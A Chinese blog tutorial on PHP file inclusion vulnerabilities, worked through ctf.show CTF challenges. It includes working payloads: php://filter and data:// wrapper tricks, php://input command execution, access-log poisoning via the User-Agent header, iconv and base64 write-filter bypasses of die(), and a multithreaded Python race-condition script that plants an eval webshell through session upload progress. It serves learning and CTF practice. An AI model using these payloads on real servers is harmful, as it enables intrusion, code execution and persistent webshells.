浅析文件包含
作者:admin | 时间:2022-6-7 02:28:14 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
近期发现文件包含这方面几乎一窍不通,特来对此漏洞进行学习,并总结如下,希望能对正在学习文件包含的人有些许帮助。
漏洞相关信息
漏洞成因
后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就
被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端
可以远程调用文件,造成文件包含漏洞。这个漏洞在php中十分常见,其他语言也有。
漏洞危害
文件包含漏洞可能带来的危害有:
1、web服务器的文件被外界浏览,导致信息泄露;
2、脚本被任意执行,导致网站被篡改。文件包含漏洞是一种常见的依赖于脚本运行而影响web应用程序
的漏洞。
漏洞分类
1.本地文件包含漏洞
本地的话简单理解就是网页本身存在着恶意文件,我们对其进行调用,从而获取信息等
2.远程文件包含漏洞(需要php.ini开启了allow_url_fopen和allow_url_include)
远程简单理解就是网页本身不存在恶意文件,我们取别的地方的文件包含进去,包含的文件是第三方服务器的文件。
漏洞常用函数
主流文件包含php一些函数的含义:
include() :执行到include()才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本
require(): 只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行
include_once():执行到include()才包含文件,找不到包含文件只产生警告,还会接着运行后面的脚本
_once()后缀表明只会包含一次,已包含则不会再包含
require_once():只要程序一运行就会包含文件,找不到包含文件则会报错,并且脚本终止运行
_once()后缀表明只会包含一次,已包含则不会再包含
利用方法
最常用的是伪协议
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
php:// 协议:
常见形式:php://input php://stdin php://memory php://temp
条件 allow_url_include需要 on allow_url_fopen:off/on
作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)
read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper
、string.tolower、string.strip_tags、convert.base64-encode
& convert.base64-decode
用法举例:php://filter/read=convert.base64-encode/resource=flag.php
网址+?page=php://filter/convert.base64-encode/resource=文件名
zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似
data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
其次还有条件竞争
条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
条件竞争需要如下的条件:
并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
实战
无限制本地包含实战
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
我将flag放到上一级目录下
此时我们访问网站
想要得到flag只需构造如下payload即可
?file=../flag
执行结果
有后缀的本地包含实战
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include $file.'.php';
}else{
highlight_file(__FILE__);
}
?>
此时我们可以发现代码强行给变量加了一个.php后缀,而我们的flag没有.php后缀,我们想要进行获取flag的话就不能够让.php发挥作用,因此我们此时可以通过以下几种方法来对其进行截断( 需要 magic_quotes_gpc=off,PHP小于5.3.4)
%00截断
路径长度截断
# Linux 需要文件名长于 4096,Windows 需要长于 256
点号截断
# 只适用 Windows,点号需要长于 256
具体如下
文件包含实战(简单)
0X01
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
构造payload如下即可
?file=php://filter/read=convert.base64-encode/resource=flag.php
0X02
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,我们可以用data伪协议
?file=data://text/plain,<?= `tac f*`?>
0X03
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
虽然过滤了php和data,但是并未过滤大小写呀,我们可以用大小写进行绕过
在这里我使用input伪协议,因为data伪协议需要allow_url_fopen:on allow_url_include :on
这里条件不满足,但是我不知道为什么filter在这里也无法使用,暂时保留疑问
在url后插入如下语句
?file=Php://input
#记得要大写
然后在post中插入如下数据
<?php system('ls');?>
执行结果如下
发现flag在fl0g.php中,我们更改post内容即可
<?php system('tac fl0g.php');
执行结果如下
0X04
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
这个的话我们可以利用data伪协议进行绕过,构造payload如下
?file=data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs/Pg
执行结果
其实语句本来是
本来是data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs/Pg==
但过滤了=,因此把=删去
把等号删去此时还有分号,有分号语句就可以执行,本地测试如下
文件包含(日志包含类)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
0X01
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。 利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。
知道服务器的日志位置,我们可以去包含这个文件从而拿到shell
apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
我们试着访问日志文件
?file=/var/log/nginx/access.log
成功访问到了,我们发现user-agent的信息出来了,因此我们可以利用user-agent植入语句从而获取flag,具体操作如下
开启bp,修改get信息为日志路径?file=/var/log/nginx/access.log
,修改ua为<?php system('ls');?>
,执行结果如下
发现flag在fl0g.php中,此时我们修改ua为<?php system('cat flag.php');?>
,执行结果如下
0X02
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上关类似,但本关过滤了:
因此我们无法再使用伪协议,但仍可以借助日志包含漏洞来进行
构造payload如下即可
?file=/var/log/nginx/access.log
同时修改ua为
<?php system('cat flag.php')?>
文件包含实战(条件竞争)
0X01
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
本关把.
给ban了,那么只能够利用无后缀的文件,众所周知php中只有session文件是无后缀的,因此我们需要构造一个session文件,再用session.upload_progress
将木马写入session文件,设置cookie可以自动初始化session文件,设置cookie:PHPSESSID=flag
php就会在服务器上创建一个文件/tmp/sess_flag
,这个文件的键值是ini.get("session.upload_progress.prefix")
+由我们构造的session.upload_progress.name
值组成,最后被写到session中,那我们在PHP_SESSION_UPLOAD_PROGRESS
中编写我们的恶意语句,就成功的写到了session中,我们的session文件是有了,但是接下来看这些php内置函数
session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
session.upload_progress.enabled = on
// 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
当session.upload_progress.cleanup = on
开启时,文件上传完会立即清除session文件中的内容,我们该怎么办呢,这时候就用到了文件竞争,一个POST传session,一个GET对session文件进行请求,两者同时进行就可以达到我们的目的,构造表单如下
<!DOCTYPE html>
<html>
<body>
<form action="http://9cb9ab98-2b0a-4259-98b1-fb1902156765.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
随便传入个文件(为了配合PHP_SESSION_UPLOAD_PROGRESS),然后抓包,修改cookie为PHPSESSID=flag,控制session文件名
随便设置一个变量,要不然无法执行爆破
发送到爆破模块,在PHP_SESSION_UPLOAD_PROGRESS
下写入我们的恶意语句,此时设置payload为null payloads
模式再抓一个靶场包,设置文件路径为tmp/sess_flag
,在下方随便设置一个变量,方便爆破,payload设置同上,然后两个同时开启爆破,即可获取我们恶意语句的结果
参考文章
https://www.freebuf.com/vuls/202819.html
https://www.cnblogs.com/chalan630/p/14147602.html
0X02
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
本关进去就提示了要求摧毁未初始化session的警告,我们发现相比上关多了两个函数,对函数介绍如下
session_unset()
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session
id
session_destroy()
删除当前用户对应的session文件以及释放session
可以看出这两个是完全将session给删除了,那我们只需要在表单构造时加上session_start()即可创建新的session文件,利用文件竞争同样可以达到目的,表单构造如下
<!DOCTYPE html>
<html>
<body>
<form action="http://9cb9ab98-2b0a-4259-98b1-fb1902156765.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
这里引用脚本(82-76通用)
import threading
import io
import requests
url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'#传入url
data={
'1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" #写入2.php文件,文件内容为一句话木马
}
sessionid='quan9i' #传入session文件名
def write(session): #自定义写入session文件函数
fileBytes=io.BytesIO(b'a'*1024*50) #括号内的b表示后面字符串是bytes类型。这里传入了50kb
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'#传入的session文件中的内容为一句话木马
},
cookies={
'PHPSESSID':sessionid #文件名为sessionid,sessionid是quan9i,因此这里的文件名就是quan9i
},
files={
'file':('quan9i.jpg',fileBytes)#路径是quan9i.jpg文件,文件大小是50kb
}
)
#printf(response)
def read(session):#自定义读取session文件函数
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={#这里写入tmp是为了包含session文件,session文件执行的的是1,1的参数对应的数据是写入文件2.php,文件2.php对应的内容是执行2
'PHPSESSID':sessionid #读取路径是tmp/sess_quan9i
}
)
response2=session.get(url+'2.php')
if response2.status_code==200:#如果返回正常
print('[+++++++++++++++++YES+++++++++++++++++]')
else:
print(response2.status_code)#输出状态码
if __name__=='__main__':
event=threading.Event()
with requests.session() as session:
for i in range(5):#五个进程
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
event.set()#初始化
'''
整体思路
首先写入url,我们需要往里面传入数据,所以我们这里data传入一个php文件,传到默认路径下,文件内容为一句话木马,为了
控制session文件名,我们设置sessionid为quan9i,此时开始定义写文件函数,首先需要写入一个在session文件中写入一个文件,大小
设置为50kb即可,之所以要写入文件是为了配合PHP_SESSION_UPLOAD_PROGRESS,这个东西是监测文件上传进度的,如果不传文件的话,
我们啥也监测不了,这个语句就有问题了,然后设置cookie为PHPSESSID=sessionid,
此时sessionid就是我们之前设置的quan9i,这时就确定了session文件的路径是/tmp/sess_quan9i,
此时我们监测的文件还没传,上方写入的文件需要传进去,我们传进去就可以了,此时可以printf(response)来查看响应进而确定是否成功写入文件
此时再自定义读文件,首先post包含我们的session文件,并设置cookie与之前相同,这个目的是为了执行session中的代码,session文件执行的是参数1,参数1在最上方对应
的是写入2.php文件,2.php文件对应的是执行参数2,
如果执行成功就输出+++YES+++,错误时返回状态码
'''
为什么脚本可以用,是因为脚本使用了多线程竞争的方法。
什么是多线程竞争?
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:
数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)之间也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
参考文章
https://blog.csdn.net/qq_46918279/article/details/120106832
0X03
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
?>
此时他多了一个删除/tmp/路径下的文件,且无法找回的语句,但是我们仍然可以利用多线程来进行,这是因为多进程同时进行多个的缘故,我们一边system("rm -rf /tmp/*");
, 一边include($file);
,两者之间是有间隔的,就会出现一边刚删除完一个session文件,另一个线程创建了一个文件,此时就被包含进去,从而成功执行了我们的恶意语句
0X04
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
先了解一下函数
dirname() 函数返回路径中的目录部分。比如/tmp/sess_quan9i就返回/tmp/
define() 函数定义一个常量。
常量类似变量,不同之处在于:
在设定以后,常量的值无法更改
常量名不需要开头的美元符号 ($)
作用域不影响对常量的访问
常量值只能是字符串或数字
define(name,value,case_insensitive)
参数 描述
name 必需。规定常量的名称。
value 必需。规定常量的值。
case_insensitive 可选。规定常量的名称是否对大小写敏感。
set_include_path简单理解的话就是给include定义了一个路径
限制了include()的路径,但是并不影响上一题的payload,继续使用上一题的方法。
原因如下:
平时include()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。
参考文章
https://www.jianshu.com/p/9fff4501f56b
文件包含(绕死亡die())
附上p神文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
本关我们先了解一下函数
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 描述
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH
FILE_APPEND
LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
可以看出是对文件名进行了url编码,因此我们的file需要进行二次url编码,因为服务器还会自动解码一次,此时我们可以利用伪协议base64解码,来绕过死亡die,因为base64解码,只解码常规的0-9和A-Z已经/,所以识别的就是phpdie,我们在构造content时前面加上aa即可成功绕过(base64每四位一节)
,构造payload如下
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
解码两次后为php://filter/convert.base64-decode/resource=1.php
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
base64解码后为aa<?php system('ls');?>
可能有部分师傅不知道去哪里进行url全编码,网上的工具大多数都未全编码,这里我使用的是bp。bp的decoder模块可以进行全编码
有趣的文件包含
0X01
本关的话打开是个电影,我们抓包然后进行猜测,构造payload如下
GET /index.php?file=var/www/html/index.php
然后可以发现过滤规则
<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>
此时我们修改变量,让他包含flag文件,那不就直接读取了吗,因为readfile($file);
,所以构造payload如下
GET /index.php?file=var/www/html/flag.php
0X02
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
这关的话过滤了data64和rot13,但是还有很多,例如convert.iconv.UCS-2LE.UCS-2BE
编码,这个编码就是将一部分内容进行交换位置,因此我们构造payload如下
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
此时访问a.php,构造payload如下
1=system('ls');